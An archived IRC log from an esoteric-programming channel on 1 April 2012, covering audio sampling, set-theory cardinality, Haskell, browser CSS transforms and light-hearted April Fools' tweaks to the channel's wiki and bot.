←2012-03 2012-04 2012-05→ ↑2012 ↑all
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00:30:25 <elliott> ais523: you don't happen to use Thunderbird as a feed reader?
00:33:31 <ais523> no, I use Akregator
00:33:43 <ais523> which is decent once you've memorised it's slightly unintuitive controls
00:36:56 <elliott> ais523: where's America?
00:37:05 <ais523> elliott: left
00:37:19 <elliott> thanks
00:37:26 <elliott> how long a walk is it?
00:38:40 <pikhq> If you can breathe underwater, a few months. If you can't, the remainder of your days.
00:39:03 <elliott> what if i can fly
00:39:13 <pikhq> That's not walking now is it?
00:39:25 <elliott> well i could move my legs
00:40:18 <ais523> no you couldn't, no legroom in those things
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00:41:22 <elliott> what, the air?
00:42:48 <elliott> Hey, hiato is in #haskell.
00:42:50 <elliott> We're being the deprived.
00:47:13 <elliott> m (→‎Examples: return for int func is nec in c std.)
00:47:14 <elliott> no it's not!
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01:06:51 <elliott> breathing? naw
01:09:46 <RocketJSquirrel> Anybody have a recommended IM-over-IRC proxy server?
01:10:06 <elliott> RocketJSquirrel: Are there any others than Bitlbee?
01:10:11 <elliott> Just use Pidgin, man.
01:10:47 <RocketJSquirrel> Upon further observation, bitlbee isn't just a service, it's an available server.
01:10:54 <RocketJSquirrel> No idea why I thought it was service-only >_>
01:11:02 <elliott> It sucks, though.
01:11:07 <RocketJSquirrel> Huh.
01:11:23 <RocketJSquirrel> Come to think of it, all I really want is a IM proxy, it doesn't need to be over IRC. An IM BNC is what I want.
01:11:33 <ais523> why a proxy?
01:11:34 <elliott> It's an incredibly leaky abstraction, and the "one big administrative/contact list room" model is just weird.
01:11:40 <ais523> to hide your identity?
01:11:57 <RocketJSquirrel> ais523: Most of the IM services I use suck when you have multiple connections.
01:12:00 <elliott> Especially since "nobody in this room sees anything I say apart from the things I prefix with their name; also only I see anybody else saying anything" is a really, really disorienting thing for an IRC channel to be.
01:12:17 <elliott> ...and I won't even get started on how painful it makes group conversations in protocols that don't have explicit "named" group conversations.
01:12:22 <RocketJSquirrel> ais523: You can't see your outgoing messages from other connections, and frequently even miss incoming messages if another connection has been active more recently.
01:12:35 <ais523> right
01:12:39 <ais523> why do people use IM for anything, again?
01:12:50 <ais523> AFAICT it solves the same problem as IRC, but worse
01:13:26 <RocketJSquirrel> ais523: IRC is channel-oriented, IM is person-oriented. IRC could be a perfectly workable IM protocol, but the clients are tailored for a different kind of communication.
01:13:43 <RocketJSquirrel> Which is why Pidgin is a shitty IRC client and XChat is a shitty IM client.
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01:21:08 <elliott> ais523: what's the most serious thing I could possibly do to Esolang?
01:21:31 <ais523> hmm, hard to think of, I guess
01:21:47 <ais523> some sort of big combined interpreter that does amazing things
01:21:51 <ais523> or a large standard library project
01:22:00 <elliott> well, boring people would expect me to do something silly to Esolang today
01:22:21 <elliott> so I have to do something very serious and bureaucratic instead
01:23:22 <ais523> yep
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01:39:38 <zzo38> What things, specifically?
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01:45:20 <elliott> zzo38: that's what i was asking!
01:46:07 <shachaf> elliott: I'm famous!
01:46:38 <monqy> oh no
01:46:39 <monqy> what happened
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02:11:15 <elliott> shachaf: How many IO concepts are there in Haskell?
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02:16:54 <ais523> elliott: concepts? aren't those a C++ thing?
02:17:07 * elliott is just repeating a stupid question from #haskell.
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02:32:06 <olsner> "<elliott> olsner: NOOOOOOOOOOOOOOOOOOOOOOOOO" <-- I'm already bathing with the snakes, so why not?
02:33:08 <olsner> but so far, I don't think I'm doing anything that's actually not possible in C++03, just a matter of convenience
02:33:29 <elliott> oh, that was just a random noooo
02:33:52 <olsner> mmhm?
02:34:04 <olsner> I don't get what it was referring to, but ok
02:35:02 <elliott> nothing at all
02:35:32 <olsner> elliott: NOOOOOOOOOOOOOOOOOO
02:43:52 <olsner> `WELCOME
02:44:10 <olsner> nice
02:45:16 <zzo38> How do I remove the maximize and close buttons in Windows? I never use them anyways, but sometimes I accidentally click them when I meant to click minimize.
02:45:47 <elliott> you could use a shortcut for minimise too
02:45:54 <olsner> remove Windows and all will be solved
02:46:22 <elliott> zzo38: http://www.annoyances.org/exec/forum/winxp/1233910418 may help
02:46:27 <zzo38> olsner: Yes, that is one way; but that would require a lot of work and I would have to install everything from the start all at first and so on
02:47:22 <olsner> nah, none of that is required to just remove it
02:47:59 <zzo38> Well, yes; but if I remove Windows and then do not put any other operating systems, then the computer won't work anymore
02:48:23 <elliott> ah, it won't help, no solutions there
02:48:56 <olsner> hmm, maybe not, but at least it will not give you more problems
03:08:23 <elliott> @time
03:08:24 <lambdabot> Local time for elliott is Sun Apr 1 04:08:22
03:14:21 <RocketJSquirrel> QUICK anybody know how to do an exception to a rewriterule .*?
03:17:47 <zzo38> What does it mean, "How many IO concepts are there in Haskell"?
03:18:08 <ais523> the point was that it it was a stupid question and so people were laughing at it
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04:35:06 <zzo38> HPDF implements some typesetting algorithm, but I should want it to work with DVI as well.
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06:52:09 <ais523> gah, audiophiles: I just observed an argument on proggit where (possibly as a strawman) the argument came up that WAV was better than FLAC because FLAC was digital and WAV stored the uncompressed /analog/ signal
06:52:19 <ais523> but I think the most absurd statements have been edited out
06:53:33 <pikhq> That is wrong in far too many ways.
06:55:05 <ais523> I don't know; unlike most such arguments, it doesn't show ignorance of how compression works
06:55:05 <myndzi> faces
06:55:06 <myndzi> and palms
06:55:15 <ais523> it's a different misconception entirely
06:55:30 <myndzi> well i guess technically anyway
06:55:33 <myndzi> if the wav came from a cd
06:55:48 <myndzi> it stores enough information to reproduce the exact analog signal up to about 44.1khz
06:55:51 <ais523> then the CD wasn't analog, because CDs are digital
06:56:00 <myndzi> er, 22.05? i sorta forget
06:56:06 <ais523> and, hmm, are you sure?
06:56:14 <myndzi> there's an interesting theorem about it
06:56:17 <ais523> you have to take quantization of amplitude into account, not just frequency
06:56:20 <myndzi> one sec, lemme find it
06:56:29 <ais523> the theorem is only to do with frequency, if you're thinking of the same one as me
06:56:47 <myndzi> which one is that?
06:57:14 <ais523> nyquist
06:57:22 <myndzi> ah yes, that's what i was looking for
06:57:32 <pikhq> The quantization error of CDs is utterly unnoticable with dithering, though.
06:57:51 <ion> At a 44.1 kHz sample rate you’ll be able to store a good 22.05 kHz square wave or very bad waveforms in its neighborhood downwards.
06:58:26 <ais523> pikhq: indeed, but that doesn't mean it isn't there, which is relevant in arguments about analog losslessness
06:58:27 <pikhq> ion: At a 44.1 kHz sample rate you'll be able to store a 22.05 kHz frequency exactly, modulo quantization.
06:58:39 <ais523> I'm entirely willing to believe that it's impossible for the human ear to detect
06:59:01 <ais523> (unless the recording was made on the most sensitive microphone in existence, it /is/ possible for a machine to detect)
06:59:28 <myndzi> i suppose i should have said "approaching exact" heh
06:59:30 <myndzi> been a while since i read about it
06:59:39 <myndzi> but to be exact it would have to be calculated out to infinity or some such
06:59:56 <pikhq> It would actually be exact if your samples were real numbers.
07:00:00 * ais523 vaguely wonders how accurate the most sensitive microphone in existence is
07:00:15 <ais523> and how accurate the A-to-D, if any, it's attached to is
07:00:15 <pikhq> The *only* inexactness is coming from the use of bound samples.
07:00:43 <ais523> pikhq: yes, in case someone decides to send a delta function at you or something
07:01:19 <myndzi> yes well, i don't have a firm enough understanding to discuss it, i was only pointing out that even though it's stored digitally, the information is essentially analog ;)
07:01:21 <myndzi> but then so would flac
07:01:40 <myndzi> and obviously this is not to support his argument, just to explain that one might see where he got confused
07:02:07 <pikhq> Anyways. CDDA is about as good at retaining fidelity of the audio as an 8K scan of film would be at retaining the video fidelity.
07:02:20 <pikhq> That is to say, if anyone says they can do better they're probably lying.
07:03:00 <myndzi> sample all the kilohertz
07:03:59 <pikhq> (8K = 4320p)
07:04:45 <ais523> pikhq: hmm, I'm pretty sure there are screens that can show at 4320p with it still possible to make out the individual pixels
07:04:54 <ais523> probably not very many, but I think they exist
07:05:14 <ais523> so it'd be an accurate representation of the film, but perceptably deficient for representing the original scene
07:05:27 <myndzi> that's kind of an incomplete statement
07:05:32 <myndzi> since it rather depends on the physical size of the screen
07:05:46 <pikhq> ais523: Yes, and said screens are probably big enough that you are a mere 3 pixels tall.
07:05:47 <ais523> myndzi: that's my point, there's no limit to how large you could make the screen in theory
07:05:49 <pikhq> :)
07:05:59 <ais523> pikhq: they wouldn't have to be /that/ big
07:06:06 <pikhq> I know, I know.
07:06:14 <myndzi> sure, but if we're talking about fidelity, you can't exactly expect "greater than 1:1" :P
07:06:45 <pikhq> But they'd have to be so large you're basically incapable of seeing the whole screen if you can see the individual pixels.
07:07:40 <ais523> pikhq: agreed
07:07:50 <ais523> whether you'd see the whole thing or make out pixels would depend on how far you were standing from it
07:08:04 <ais523> I'm imagining something around the size of a cinema screen would be enough to make out the pixels if you stood close to it
07:08:21 <ais523> (although obviously your head would block the projector if you tried that on an /actual/ cinema screen, so it'd have to use a different principle
07:08:34 <pikhq> Reverse projection cinema?
07:08:35 <pikhq> :)
07:09:15 <ais523> yep, that could work, and IIRC actually exists, but is quite wasteful of space
07:09:25 <ais523> perhaps you could have two audiences, one on each side of the screen
07:10:44 <pikhq> It'd be a pretty bad idea unless you've got a particularly strange theater.
07:11:31 <pikhq> Perhaps if the seating is an actual stadium.
07:24:56 <ais523> <hypermog> Many, many 3D games were done using less.
07:25:08 <ais523> I initially interpreted that as referring to less(1)
07:25:21 <ais523> and thought that that was indeed quite a primitive tool to make a 3D game with
07:26:05 <pikhq> Quiet.
07:26:10 <pikhq> Erm, quite.
07:27:40 <ais523> can you actually edit things with less, apart from telling it to run vi?
07:27:58 <ais523> or would it just be a case of repeatedly paging through /dev/random until you found the source you needed?
07:30:57 <pikhq> less doesn't have an insert mode, so.
07:31:16 <pikhq> Yeah, can't edit with it.
07:32:54 <pikhq> Unless some smartass does ln -s vi /bin/less
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07:38:22 <zzo38> I have been told that LP record is better quality than CD and computer and audio tape and so on, but only the first time it is played. After that, it degrades.
07:39:38 <pikhq> They like to tell you that.
07:39:51 <pikhq> A CD has more dynamic range.
07:40:06 <pikhq> (not that it matters much in this age of 1 dB dynamic range)
07:43:16 <pikhq> Basically the only argument in favor of vinyl is that it may have pleasant artifacts.
07:46:32 <zzo38> The other argument in favor of vinyl is the simplicity of a record player; no computer is required to decode anything.
07:47:14 <pikhq> Not an argument in favor of the format's *quality*, but certainly an argument in favor of its use in certain contexts.
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07:48:09 <zzo38> Yes, I agree; the argument I mention has nothing to do with quality.
07:49:44 <zzo38> Before on this channel, I have discussed annotation monads a bit; but now I think of coannotation comonads as well.
07:53:44 <zzo38> Which makes Maybe to be the annotation monad of () and it makes non-empty list comonad to be the coannotation comonad of [()]
07:54:37 <zzo38> (I think)
07:59:14 <fizzie> Re blocking the screen, there are also some very acute-angle projectors nowadays. Can't seem to find the right Google keywords, but there was an article; it was something ridiculous like 15 degrees or less. Probably not for cinema resolutions, though, since the intended use case was more like meetings and whatever. (Plus probably some loss in image quality due to the large amount of ...
07:59:20 <fizzie> ... perspective correction.)
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08:02:55 <ais523> fizzie: I've seen some acute-angle projectors that do a bunch of perspective correction, they're placed on the top of whiteboards, maybe about 30cm or so out
08:03:06 <ais523> but I'm not quite sure if they're quite /that/ acute
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09:32:40 <oerjan> <ais523> aimake is no longer vaporware! <-- so does that mean we can soon expect fe *hit by anvil falling through portal from future*
09:32:59 <ais523> no, feather probably can't be written in a week
09:42:19 <oerjan> `addquote <elliott> Sgeo: will i regret clicking that link? <ais523> elliott: I'll check it for you <ais523> yes <elliott> ais523: thanks, I'll click it then
09:42:28 <HackEgo> 836) <elliott> Sgeo: will i regret clicking that link? <ais523> elliott: I'll check it for you <ais523> yes <elliott> ais523: thanks, I'll click it then
09:43:10 <ais523> oerjan: it actually makes sense in context, too, he explained
09:43:27 <oerjan> but funnier without, i assume
09:46:44 <oerjan> <oklopol> why are these people allowed on my internet <-- to keep them out of the streets.
09:47:02 <oerjan> imagine the danger they would be in traffic.
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09:53:02 <oerjan> <elliott> Sgeo: why the fuck are you reading 3-year-old discussions on reddit <-- r/worstofreddithistory. you know it has to exist...
09:56:13 <oerjan> <ais523> Sgeo: yes, cardinalities of the reals and of infinite strings of elements drawn from a finite alphabet are both aleph-one <-- /me swats ais523 for assuming the continuum hypothesis -----###
09:56:53 <ais523> oerjan: I don't think that assumes the continuum hypothesis, aleph-one's defined as the cardinality of reals even if you assume there's more than one smaller infinity
09:57:09 <oerjan> no it is not.
09:58:14 <oerjan> aleph-one is defined as the smallest (well-orderable) cardinality larger than aleph-zero. it being == cardinality of reals is _precisely_ the continuum hypothesis.
09:58:59 <oerjan> there are however some popular math books which get that wrong.
09:59:43 <oerjan> beth-one, otoh, is equal to the cardinality of reals, being defined as 2^beth_zero = 2^aleph_zero.
10:03:34 <oerjan> <elliott> Ohhhh, mk is that guy who just wanted to learn monads, not Haskell. <-- "i just want to read shakespeare in the original, not learn english!"
10:04:07 <oerjan> (note: no guarantee about appropriateness of analogy)
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10:12:11 <oerjan> <elliott> so I have to do something very serious and bureaucratic instead <-- darn, so no deadfish feature? :(
10:15:06 <oerjan> 03:17:47: <zzo38> What does it mean, "How many IO concepts are there in Haskell"?
10:15:10 <oerjan> 03:18:08: <ais523> the point was that it it was a stupid question and so people were laughing at it
10:16:03 <oerjan> it doesn't sound stupid if you've heard about the lazy input/monads/iteratees/conduits/pipes mess
10:17:02 <oerjan> oh and there's frp, several variants.
10:17:54 <oerjan> and if you mix in the String/Bytestring/lazy Bytestring/Text/lazy Text/vector mess as well...
10:19:02 * oerjan fortunately does things so trivial he can just stay at the lazy String input level
10:19:13 <oerjan> haskelly trivial, that is.
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10:19:59 <oerjan> which otoh means i haven't really learned most of the others
10:20:09 <oerjan> *-really
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10:22:58 <oerjan> darn i forgot to put in the ban evasion reason
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10:47:49 <oklopol> does the ban never expire?
10:47:58 <oklopol> who knows, maybe he's gone to therapy or something
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11:14:51 <oerjan> oklopol: not if he keeps evading it
11:15:40 <oklofok> well tru
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13:17:36 <nortti> ?
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13:20:26 <nortti> azaq23: problems with irc client?
13:37:27 <azaq23> nortti: I had an issue with the gnome desktop environment (couldn't switch between windows anymore, or click on anything which was outside of the interface of the application I had at the time in the
13:37:27 <azaq23> foreground), which forced me to restart it a few times, and with it the irc client I'm using. I suspect it's somehow connected to a jammed key on my touchpad
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13:56:14 <elliott> happy mailman mailing list membership reminders day
13:59:36 <elliott> "But now I want to sidetrack into some of Yesod's underlying philosophy, and demonstrate its incompatibility with cabal. Many people know that Yesod is Hebrew for "Foundation." What you may not realize is that it's also a term from Jewish mysticism. Jewish mysticism, also known as Kaballah, includes the concepts of receiving energy from a source."
14:00:54 <ais523> <elliott> happy mailman mailing list membership reminders day <-- it's april 1, and /that's/ the best you can say?
14:02:39 <elliott> ais523: i don't participate in internet jackass day, I just observe from the sidelines
14:02:46 <elliott> this is brilliant: http://www.haskell.org/pipermail/haskell-cafe/2012-April/100527.html
14:02:57 <elliott> this is brillianter: http://www.haskell.org/pipermail/haskell-cafe/2012-April/100533.html (only funny if you read the first one first)
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14:03:48 <ais523> is the first one a serious proposal with intentionally silly language, or just entirely silly?
14:03:52 <ais523> I'm too tired to tell them apart
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14:04:57 <elliott> ais523: it's more or less complete nonsense
14:05:35 <ais523> the reply is the sort of thing I'd make, it's a perfectly sensible reply to the post whether it's entirely joke or entirely serious you don't understand or serious disguised as joke
14:05:49 <elliott> ais523: it proposes using /youtube URLs/ as identifiers
14:05:55 <elliott> taking it seriously is unforgivable
14:05:58 <ais523> yes, I noticed that in a footnote
14:06:03 <elliott> no, an appendix
14:06:25 <elliott> I was about to say that the best parts were footnote 4 and appendix A, but then I realised that footnotes 1-1b and all the other appendices were good too
14:06:36 <elliott> oh, "However, I can only get away with my proof using Scott-free semantics." is the other best bit
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14:31:02 <elliott> ais523: http://esolangs.org/wiki/Main_Page
14:31:08 <elliott> APRIL FEUELZ!!!112156123786127836123
14:31:13 <elliott> (you might need to ctrl+f5 it)
14:31:41 <ais523> you can do that with CSS?
14:31:57 <elliott> yep
14:31:58 <ais523> heh, and it even affects edit pages
14:32:07 <elliott> yes, which made it quite hard to fix a css error i made the first time
14:32:16 <elliott> buttons look really weird upside-down
14:32:28 <ais523> I'm using useskin=monobook to read the code ;)
14:33:04 <elliott> upside-down english looks kinda like ipa
14:33:16 <ais523> I wonder how long it would take for that to be reverted if someone did it on Wikipedia
14:33:19 <ais523> I'm guessing between 1 and 3 minutes
14:33:38 <elliott> and then five years of arbitration cases
14:33:49 <elliott> I suppose I should remove this now
14:33:57 <elliott> in case anyone actually wants to read the wiki
14:34:07 <ais523> heh, OK ;)
14:35:26 <elliott> oh, I have a better idea
14:36:30 <elliott> ais523: try now
14:37:16 <ais523> more usable, indeed
14:37:26 <ais523> and potentially even useful for non-English languages
14:37:32 <elliott> I think I'll leave it like this for a day
14:37:37 <elliott> indeed, it reminds me of the hebrew wikipedia
14:37:47 <elliott> (note: technically this isn't an april fool's, just me fucking with things, since it's after 12pm)
14:38:08 <ais523> it's before 12pm in some places!
14:38:13 <elliott> i like how the top vector bar gets confused and slides the view history link in if you have JS enabled
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14:40:13 <elliott> ais523: I don't suppose there is any easy way to fix the caching of vector.css
14:40:15 <elliott> rather ruins it
14:40:46 <ais523> elliott: I'm reasonably sure there's a configuration variable /somewhere/ which invalidates everyone's caches when you bump it
14:40:52 <ais523> but I never dealt with that bit of things
14:40:57 <ais523> the devs could be made to bump it in emergencies
14:41:13 <ais523> (it uses the old junk query parameter trick)
14:43:49 <elliott> oh well
14:43:55 <elliott> nortti: does http://esolangs.org/wiki/Main_Page look normal to you?
14:44:01 <elliott> maybe it's just because i was already on the site that it didn't reload or something
14:45:06 <elliott> "1997 – Marriage in the Netherlands became more samey." -- come on WIkipedia, you can do better than this
14:45:49 <ais523> elliott: oh, fun fact, you know how Wikipedia's main page is based on date templates?
14:45:57 <ais523> well, they don't update automatically, someone has to purge the page
14:46:03 <ais523> and today: it was me who did the purge :)
14:46:18 <elliott> has anyone ever forgotten to?
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14:47:13 <ais523> well, it'd require /everyone/ to
14:47:18 <ais523> especially as it can be done while not logged in
14:47:34 <ais523> (although there's a clickthrough for that, to stop scrapers doing it unintentionally)
14:47:36 <elliott> if only purges were logged, so people could race and use it to start drama
14:47:41 <ais523> haha
14:50:58 <nortti> elliott: pretty funny text effect
14:51:18 <elliott> oh, so it does work without force-reloading?
14:51:20 <elliott> interesting
14:51:47 <elliott> OK, that's my minimum level of contribution for April 1st done
14:52:11 <elliott> ais523: what's slashdot's?
14:52:27 <elliott> "NASCAR is supporting Google's new racing division based on autonomous vehicle technology." heh
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15:02:32 -!- RocketJSquirrel has set topic: Welcome to the International Hub for Esotericism and the Occult | Bringing computer systems from the astral plane since 1692! | Need some guidance on spirit projection? Elliott is the local expert, go to him first. | http://codu.org/logs/_esoteric/.
15:05:08 <elliott> gah, it would have been an actually good gag to rewrite the main page to be about esoterica
15:05:12 <elliott> probably too late now
15:07:13 <elliott> @time RocketJSquirrel
15:07:14 <lambdabot> Local time for RocketJSquirrel is Sun Apr 1 11:06:45
15:07:23 <elliott> who's on the other side of america to RocketJSquirrel?
15:07:30 <elliott> @time shachaf
15:07:33 <lambdabot> Local time for shachaf is Sun Apr 1 08:07:03 2012
15:07:36 <elliott> close enough
15:09:42 <elliott> @time ais523
15:09:43 <lambdabot> Local time for ais523 is Sun Apr 1 16:09:15 2012
15:09:48 <elliott> thanks
15:10:33 <RocketJSquirrel> It's April 1 pretty well everywhere that matters.
15:11:07 <elliott> i wanted to know how much april 1st there was left tho
15:11:09 <elliott> @time fizzie
15:11:11 <lambdabot> Local time for fizzie is Sun Apr 1 18:10:41 2012
15:11:12 <elliott> @time clog
15:11:12 <lambdabot> Local time for clog is Sun Apr 1 08:11:05 2012
15:11:17 <elliott> clog responds to TIME?
15:11:30 <elliott> @time Phantom_Hoover
15:11:31 <lambdabot> Local time for Phantom_Hoover is Sun Apr 01 16:11:00
15:11:32 <elliott> @time Patashu
15:11:33 <lambdabot> Local time for Patashu is Mon Apr 02 01:11:05 2012
15:11:36 <elliott> AHA
15:11:40 <elliott> BURN THE WITCH
15:12:18 <Patashu> :o
15:12:20 <Patashu> how did it knooow
15:12:26 <Patashu> I must return to my own timeline now
15:12:58 <elliott> Your client betrayed you.
15:16:44 -!- nortti has joined.
15:22:47 <elliott> `? welcome
15:22:54 <HackEgo> Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
15:23:39 <elliott> `run echo 'Welcome to the international hub for esotericism and the occult! For more information, check out our wiki: http://www.demonicpedia.com/' >wisdom/welcome
15:23:43 <HackEgo> No output.
15:23:55 <elliott> hth hand
15:24:09 <ais523> ah, found it
15:24:19 <ais523> I was going to ask how lambdabot knew my timezone, but there was obivously a ctcp somewhere
15:24:20 <elliott> found what?
15:24:23 <elliott> heh
15:24:24 <elliott> CTCP TIME
15:24:30 <ais523> and I was looking for which channel it had been reported in
15:24:42 <ais523> back, btw
15:25:00 <elliott> `WELCOME HELPLESS_NEWBIE
15:25:11 <elliott> that'll make them feel welcome
15:25:42 <elliott> unfortunately, nobody actually comes in here most days
15:25:45 <nortti> huh? Esolangs front page is normal again
15:26:43 <ais523> does demonicpedia actually exist?
15:26:46 <ais523> `welcome test
15:26:47 <elliott> ais523: yes
15:26:49 <HackEgo> test: Welcome to the international hub for esotericism and the occult! For more information, check out our wiki: http://www.demonicpedia.com/
15:26:52 <elliott> nortti: is it?
15:26:54 <ais523> hmm
15:26:55 <elliott> try ctrl+f5 or such
15:26:57 <ais523> I don't like thatchange
15:27:03 <ais523> although it's unlikely to matter
15:27:05 <elliott> nortti: probably caching
15:27:53 <nortti> ellitt: I cleared my cache
15:29:05 <elliott> nortti: same browser?
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15:31:09 <nortti> elliott: I have tried it with Camino 2.1 (cleared cache) and links2 and both seem normal
15:31:58 <elliott> Which browser did you see the effect in first time?
15:32:09 <elliott> I suspect Camino is just too old to understand the CSS.
15:33:03 <elliott> olsner: Silly Opera user ping
15:34:44 <olsner> me? I'm not silly!
15:34:47 <RocketJSquirrel> elliott: The real trick would have been to make the wiki not quite about esotericism, but esoLANGS, where eso means esotericism :)
15:34:54 <nortti> elliott: I saw it with TenFourFox. Camino is based on Gecko 1.9.2 by the way
15:35:30 <elliott> nortti: https://developer.mozilla.org/en/CSS/transform#Browser_compatibility Looks like it should work, then
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15:35:45 <elliott> olsner: What's esolangs.org look like to you
15:35:52 <olsner> elliott: looks entirely normal
15:36:14 <elliott> olsner: Force-reload it? (so the CSS reloads)
15:36:19 <elliott> "Opera: Clear the cache in Tools → Preferences"
15:36:22 <elliott> lol Opera sux
15:36:26 <Slereah_> It looks like april fool
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15:36:39 <elliott> Slereah_: No, April Fool's ends at 12 pm.
15:36:51 <elliott> Slereah_: This is just me deciding to fuck the wiki up.
15:37:00 <elliott> I am free of all cultural expectations.
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15:37:58 <olsner> elliott: actually I'm using the fool CSS, it's just wrong
15:38:16 <Slereah_> elliott : You so are culturally expected
15:38:17 <Slereah_> You tool
15:38:18 <olsner> Invalid value for property: -o-transform
15:38:24 <elliott> olsner: opera v.?
15:38:40 <olsner> 11.62
15:38:52 <elliott> :/
15:39:00 <elliott> mdn sez 10.5 up work with -o-
15:39:01 <myndzi> |
15:39:01 <myndzi> >\
15:39:04 <elliott> lol
15:39:05 <elliott> olsner: does it recognise the "transform"?
15:39:08 <elliott> even if it doesn't recognise the -o-transform
15:40:46 <olsner> looks like it's spelled rotate in -o-transform
15:41:34 <elliott> olsner: eh?
15:41:35 <olsner> according to http://www.opera.com/docs/specs/presto24/css/transforms/ anyway
15:41:50 <elliott> oh, they don't support rotateY?
15:42:16 <elliott> oh! apparently neither does mozilla
15:42:19 <elliott> uh bu
15:42:19 <elliott> t
15:42:21 <elliott> it works in ff, so
15:42:27 <elliott> confused
15:42:35 <olsner> maybe ff picks up the webkit transform instead
15:42:49 <elliott> oh, but
15:42:50 <elliott> "matrix(<number>, <number>, <number>, <number>, <number>, <number>)
15:42:50 <elliott> Specifies a 2D transformation in the form of a transformation matrix of six values. matrix(a,b,c,d,e,f) is equivalent to applying the transformation matrix [a b c d e f]."
15:43:02 <elliott> olsner: patches welcome, i'm too lazy to work out the matrix
15:43:06 <elliott> it's sunday, day of rest
15:43:08 <elliott> day of doing nothing
15:47:04 <olsner> I'm not quite sure what the transform is supposed to do though... is that rotateY thing the same as scaleX(-1)?
15:47:15 <olsner> because that works with -o-transform
15:48:02 <olsner> and yeah, opera doesn't do 3D transforms (yet?), only the 2D transforms
15:48:34 <elliott> olsner: it's meant to flip the page horizontally
15:48:43 <elliott> and it's not 3d
15:49:04 <olsner> rotating around the Y axis means rotating it in 3d?
15:49:35 <elliott> well, you could say that... or it's just subtracting the coordinate from the width
15:49:43 <elliott> it's not the "3d transform" stuff
15:50:00 <elliott> yes, scaleX(-1) does it, thanks
15:50:00 <olsner> rotateY is a 3d transform
15:50:33 <elliott> ais523: olsner: nortti: try now
15:52:24 <nortti> elliott: it works now
15:53:36 <elliott> Yessssssssss
15:53:39 <elliott> Even in links? :P
15:54:03 <elliott> @time
15:54:04 <lambdabot> Local time for elliott is Sun Apr 1 16:54:02
15:54:26 <elliott> hmm, I'll leave my wiki settings at UTC
15:55:04 <nortti> elliott: contents on the page are not flipped, but navigational links are
15:56:03 <elliott> What... in *links*?
15:57:55 <nortti> elliott: I thought you meand links in the page
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15:58:10 <elliott> Oh :D
15:58:16 <elliott> Yeah, the content is meant to be unflipped.
15:58:26 <elliott> I would be very impressed if links flipped the text :P
15:58:54 <nortti> elliott: I tried it and it didn't
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16:13:43 <elliott> ais523: help, I'm getting used to the new Esolang layout already
16:14:01 <ais523> elliott: abort, ignore, retry, fail?
16:14:22 <elliott> what was the difference between abort and fail, anyway
16:14:51 <nortti> elliott: If I remember corretly fail stopped the running program
16:19:30 <Deewiant> http://support.microsoft.com/kb/67586
16:20:34 <elliott> Deewiant: Okay, that makes sense
16:20:42 <elliott> So retry and fail are the only sane ones
16:23:32 <ais523> elliott: actually, abort stopped the running program; fail caused the libc or equivalent to return a failure code
16:23:45 <ais523> ignore caused it to return a success code, and retry is obvious
16:24:39 <elliott> ais523: Yes, that's what Deewiant's link said.
16:24:58 <ais523> oh, that was from memory, I didn't follow the link
16:25:00 <ais523> but I may as well
16:25:26 <ais523> "This article applies to a different operating system than the one you are using. Article content that may not be relevant to you is disabled."
16:25:35 <ais523> you have to love Microsoft Support :)
16:26:00 <elliott> hmm, does Did You Know? usually change a billion times per day?
16:26:05 <elliott> Wikipedia's appears to be... somewhat in flux
16:26:16 <ais523> it normally gets updated five or six times a day
16:26:23 <elliott> oh, really?
16:26:30 <elliott> that's a bit fast
16:27:43 <ais523> the intent is to put every new article that it's at all possible to write a decent hook for on there
16:29:26 <elliott> gah, what is wrong with this template?
16:29:34 <elliott> oh, hmm
16:32:15 <elliott> http://en.wikipedia.org/wiki/United_States_v._Approximately_64,695_Pounds_of_Shark_Fins
16:32:22 <elliott> ais523: OK, this is the best article title on Wikipedia, no question
16:33:03 <ais523> there's a huge debate about what to do about april 1's "on this day"
16:33:11 <ais523> because of legitimate events happening on april 1 never getting a chance
16:33:19 <ais523> I think the conclusion was to list the events but with silly descriptions
16:33:32 <elliott> please! please, no discussion that isn't about that perfect title
16:34:33 <ais523> you should read the article attached to it, the event is vaguely ridiculous too
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17:09:28 <nortti> This crazy idea just came to my mind: Wait until all support on Windows XP has ended and then buy rights to MS-DOS source code from microsoft and after that relase it under wtfpl
17:10:35 <elliott> what
17:11:53 <nortti> wait until support of xp has ended (xp still uses MS-DOS in its boot floppy) and after that buy MS-DOS from microsoft
17:12:10 <elliott> i'm not sure why you think it would be for sale
17:12:49 <nortti> did you notice this: "This crazy idea"
17:13:26 <elliott> ok
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17:34:12 <Taneb> Hello!
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17:35:37 <Taneb> I felt like writing a BF Joust interpreter/genetic creator in Haskell.
17:36:04 <Taneb> I've got 82 lines, including 10 imported modules and 2 language extensions that do absolutely nothing
17:36:08 <elliott> Genetic BF Joust has gone well approximately 0 times.
17:37:29 <Taneb> `? esoteric
17:37:30 <asiekierka> but only approximately!
17:37:40 <HackEgo> This channel is about programming -- for the other kind of esoterica, try #esoteric on irc.dal.net.
17:40:34 <Taneb> BF Joust programs written by Taneb have gone well approximately 0 times
17:41:00 <elliott> `WELCOME TANEB
17:41:21 <Taneb> YES
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18:29:25 <elliott> Hey Phantom_Hoover! NetHack 4.0.0 just came out!
18:29:28 <elliott> http://groups.google.com/group/rec.games.roguelike.nethack/browse_thread/thread/261849837d0d8e42
18:29:36 -!- oerjan has joined.
18:29:38 <elliott> Hey Phantom_Hoover! NetHack 4.1.0 just came out!
18:29:39 <elliott> http://groups.google.com/group/rec.games.roguelike.nethack/browse_thread/thread/ade3da9173a7cc2a
18:29:44 <elliott> Hey Phantom_Hoover! NetHack 4.2.0 just came out!
18:29:45 <elliott> http://groups.google.com/group/rec.games.roguelike.nethack/browse_thread/thread/cb0da1bf9d2c0ba1
18:30:38 <Phantom_Hoover> oh my god
18:30:43 <Phantom_Hoover> nethack
18:30:45 <Phantom_Hoover> does nethack
18:30:48 <Phantom_Hoover> still have updates
18:30:53 <elliott> IT DOES NOW
18:31:09 <Phantom_Hoover> * Core game engine code has completely rewritten [4]
18:31:13 <Phantom_Hoover> OH THANK GOD
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18:34:56 <elliott> `WELCOME OERJAN
18:35:03 <elliott> IT'S ALL IN THE WIKI
18:35:04 <oerjan> YAY
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18:35:19 <elliott> THE OTHER ONE I MEAN
18:35:23 <elliott> THE OTHER KIND OF ESOTERIC
18:36:42 <elliott> YES I FIXED THAT
18:36:44 <elliott> PERMANENTLY
18:37:12 <oerjan> oh.
18:37:30 <elliott> Phantom_Hoover: ps april fooles
18:37:35 <elliott> oerjan: well does it still look normal
18:38:05 <oerjan> yes, it does.
18:38:35 <elliott> oerjan: try Ctrl-F5
18:39:20 <oerjan> still no difference
